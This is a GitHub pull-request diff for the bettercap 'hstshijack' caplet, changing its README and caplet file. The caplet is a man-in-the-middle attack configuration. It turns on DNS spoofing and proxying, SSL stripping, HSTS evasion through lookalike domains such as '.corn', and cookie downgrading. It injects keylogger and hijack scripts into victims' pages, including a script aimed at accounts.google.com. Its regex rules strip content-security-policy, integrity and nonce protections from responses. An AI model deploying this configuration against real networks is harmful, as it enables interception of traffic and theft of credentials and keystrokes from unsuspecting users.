Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
32 commits
Select commit Hold shift + click to select a range
11505d1
backup
buffermet Apr 23, 2025
f3f75b5
Update README.md
buffermet Apr 23, 2025
9b29d81
Update README.md
buffermet Apr 23, 2025
22c54c7
Update README.md
buffermet Apr 23, 2025
1c625d6
Update README.md
buffermet Apr 23, 2025
7f06b02
Update README.md
buffermet Apr 23, 2025
8b76a6a
Rename hstshijack.js to http.proxy.js
buffermet Apr 23, 2025
8c0be60
Update hstshijack.cap
buffermet Apr 23, 2025
c61368e
Update README.md
buffermet Apr 23, 2025
d7e4cad
Implement req URL regex replacements, fix bug where spaces were strip…
buffermet May 6, 2025
9e856ae
Make DNS proxying dynamic.
buffermet May 8, 2025
68f7eea
Fix whitespace removal.
buffermet May 8, 2025
f0f36d9
Rename req.body.json to req.Body.json
buffermet May 8, 2025
4e0f9d5
Rename req.headers.json to req.Headers.json
buffermet May 8, 2025
7250997
Rename req.url.json to req.URL.json
buffermet May 8, 2025
ba2019b
Rename res.body.json to res.Body.json
buffermet May 8, 2025
7588392
Rename res.headers.json to res.Headers.json
buffermet May 8, 2025
f126226
wu wei
buffermet May 8, 2025
174373d
Fix env var.
buffermet May 11, 2025
0ceee97
Reduce overhead.
buffermet May 11, 2025
9a3d92c
Change indentation to tabs.
buffermet May 11, 2025
b4d9c79
Change indentation to tabs.
buffermet May 11, 2025
996898d
Change indentation to tabs.
buffermet May 11, 2025
0db1ed6
Change indentation to tabs.
buffermet May 11, 2025
3157efd
Add 'port' property to URL regex replacement config.
buffermet May 11, 2025
cd5fd07
Update README.md
buffermet May 11, 2025
659b936
Drop AAAA queries.
buffermet May 11, 2025
c8a6a63
Simplify AAAA query filtering.
buffermet May 11, 2025
5451be9
Make MutationObserver aggressive, silence errors.
buffermet May 11, 2025
42bf301
Fix indentation.
buffermet May 11, 2025
1294ef9
Update README.md
buffermet May 28, 2025
85ffc31
Update README.md
buffermet May 29, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
88 changes: 64 additions & 24 deletions hstshijack/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,51 +2,56 @@
<img width="420px" src="https://raw.githubusercontent.com/buffermet/cdn/master/github.com/bettercap/caplets/hstshijack/logo.svg" />
</p>

### Caplet
### Caplet ([hstshijack.cap](https://github.com/bettercap/caplets/blob/master/hstshijack/hstshijack.cap))

```sh
# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack

# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads'
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
set hstshijack.targets *.google.com, google.com, gstatic.com, *.gstatic.com
set hstshijack.replacements *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt
set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json
set hstshijack.ssl.check true
#set hstshijack.blockscripts example.com,*.example.com
set hstshijack.obfuscate true
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json
set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com
set hstshijack.targets *.com, *.net,*.me, *.nl,*.ai,*.co.uk,*.cn,*.google
set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,*.al,*.cc.uk,*.ch,*.googl
set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Body.json
set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Headers.json
set hstshijack.replacements.req.url /usr/local/share/bettercap/caplets/hstshijack/replacements/req.URL.json
set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Body.json
set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Headers.json
set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/ssl/domains.txt
set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/ssl/index.json
set hstshijack.ssl.index.check true
set hstshijack.ssl.discovery.synchronous true
set hstshijack.ssl.discovery.timeout 4
set hstshijack.cookies.downgrade true
#set hstshijack.blockscripts example.com,*.example.com
set hstshijack.obfuscate true
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js
set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/session/whitelist.json
set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com

net.recon on

set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/http.proxy.js
http.proxy on

set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
set dns.spoof.all true
dns.spoof on
set dns.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/dns.proxy.js
dns.proxy on
```

### <a href="./payloads/hijack.js">**hijack.js**</a> payload

This module injects files with a JavaScript payload (<a href="./payloads/hijack.js">**hijack.js**</a>) which acts as a callback for bettercap, and takes care of hostname spoofing in attributes of injected documents, as well as fetch and XMLHttpRequest.

Injecting <a href="./payloads/hijack.js">**hijack.js**</a> is essential for hostname spoofing.
This module injects files with a JavaScript payload (<a href="./payloads/hijack.js">**hijack.js**</a>) which acts as a callback for bettercap, and takes care of hostname spoofing in the DOM.

### Scalable domain indexing (SSL log)

<br>

<p align="center">
<img src="https://github.com/user-attachments/assets/a419acb3-28b4-4927-a596-c96ab6c2552e" alt="Indexed domains that use HTTPS" />
<img src="https://raw.githubusercontent.com/buffermet/cdn/master/github.com/bettercap/caplets/hstshijack/ssl.index.png" alt="Indexed domains that use HTTPS" />
Copy link

@steev steev Dec 8, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this actually link to yours and not to the bettercap/caplets repo?

</p>

When hosts respond with an HTTPS redirect, bettercap will save their hostname in lists that are sorted by domain prefixes, allowing the list to scale by reducing a considerable amount of overhead for the proxy module.

By default, this caplet will remap these lists of domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable on launch (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.check` variable to `false`.
By default, this caplet will remap these lists of domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable on launch (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.index.check` variable to `false`.

Bettercap will also send a HEAD request to unknown hosts that were discovered in the injected document and retrieved via a callback from the <a href="./payloads/hijack.js">**hijack.js**</a> payload. This is done to learn what hosts use HTTPS, ahead of time.

Expand All @@ -65,6 +70,43 @@ set hstshijack.replacements google.corn,*.google.corn

You can try to make them as unnoticeable as you can, but your options are limited here in terms of evading HSTS.

### Regular Expression replacements

In the <a href="https://github.com/bettercap/caplets/blob/master/hstshijack/replacements">**replacements directory**</a> you can find 5 JSON files that are used to spoof HTTP requests and responses. Each Regular Expression that you configure will be pre-compiled when the module is loaded.

Each Regular Expression set is formatted as follows: `[SELECTOR, FLAGS, REPLACEMENT]`

Example of response body replacements (<a href="https://raw.githubusercontent.com/bettercap/caplets/refs/heads/master/hstshijack/replacements/res.Body.json">res.Body.json</a>):

```json
{
"html": {
"*.amazon.com": [
["(['\"`](?:http|ws)|sourceMappingURL=http)s", "ig", "$1"],
["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"],
[" http-equiv=['\"]?content-security-policy(?:-report-only)?['\"]?([ />])", "ig", "$1"],
[" integrity=['\"][^'\"]+['\"]([ />])", "ig", "$1"],
[" nonce=[\"][^\"]+['\"]([ />])", "ig", "$1"]
]
},
"javascript": {
"*.amazon.com": [
["((?:['\"`]|sourceMappingURL=)(?:http|ws))s", "ig", "$1"],
["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"]
],
"apis.google.com": [
["(V=function\\(a\\)\\{)", "g", "$1if(1)return;"]
]
},
"json": {
"*": [
["(\"(?:http|ws))s", "ig", "$1"],
["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"]
]
}
}
```

### Block scripts

In the <a href="./hstshijack.cap">**caplet file**</a> you can block JavaScript from hosts by assigning them to the `hstshijack.blockscripts` variable. _(wildcard allowed)_
Expand All @@ -73,16 +115,14 @@ In the <a href="./hstshijack.cap">**caplet file**</a> you can block JavaScript f

You can also inject your own scripts into files from your specified hosts by assigning them to the `hstshijack.payloads` variable.

Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times. Individual payloads are not failsafe, so you must set your conditions/try and catch blocks yourself.
Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times.

Example:

```sh
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
```

You should always inject the <a href="./payloads/hijack.js">**hijack.js**</a> payload when spoofing hostnames.

### Obfuscation

You can write custom payloads that are automatically obfuscated by the module.
Expand Down
39 changes: 25 additions & 14 deletions hstshijack/hstshijack.cap
Original file line number Diff line number Diff line change
@@ -1,24 +1,35 @@
# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack

set $ ""

#events.ignore http.proxy.spoofed

# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads'
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
set hstshijack.targets google.com, *.google.com, gstatic.com, *.gstatic.com
set hstshijack.replacements google.corn,*.google.corn,gstatic.corn,*.gstatic.corn
set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt
set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json
set hstshijack.ssl.check true
#set hstshijack.blockscripts example.com,*.example.com
set hstshijack.obfuscate true
set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js
set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json
set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com
set hstshijack.targets *.com, *.net,*.me, *.nl,clarity.ms,*.clarity.ms,*.ai,*.co.uk,*.cn,*.google
set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,clarity.ns,*.clarity.ns,*.al,*.cc.uk,*.ch,*.googl
set hstshijack.replacements.req.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Body.json
set hstshijack.replacements.req.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.Headers.json
set hstshijack.replacements.req.url /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/req.URL.json
set hstshijack.replacements.res.body /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Body.json
set hstshijack.replacements.res.headers /home/buffermet/git/github.com/bettercap/caplets/hstshijack/replacements/res.Headers.json
set hstshijack.ssl.domains /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/domains.txt
set hstshijack.ssl.index /home/buffermet/git/github.com/bettercap/caplets/hstshijack/ssl/index.json
set hstshijack.ssl.index.check true
set hstshijack.ssl.discovery.synchronous true
set hstshijack.ssl.discovery.timeout 4
set hstshijack.cookies.downgrade true
#set hstshijack.blockscripts example.com,*.example.com
set hstshijack.obfuscate true
set hstshijack.payloads *:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/hijack.js,*:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/home/buffermet/git/github.com/bettercap/caplets/hstshijack/payloads/google-search.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.amoeba.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.hid.js,*:/home/buffermet/amoeba/extension/scripts/hstshijack.open.url.js,accounts.google.com:/home/buffermet/amoeba/extension/scripts/hstshijack.accounts.google.com.js
set hstshijack.whitelist /home/buffermet/git/github.com/bettercap/caplets/hstshijack/session/whitelist.json
set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com

net.recon on

set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
set http.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/http.proxy.js
http.proxy on

set dns.spoof.domains google.corn,*.google.corn,gstatic.corn,*.gstatic.corn
set dns.spoof.all true
dns.spoof on
set dns.proxy.script /home/buffermet/git/github.com/bettercap/caplets/hstshijack/modules/dns.proxy.js
dns.proxy on

Loading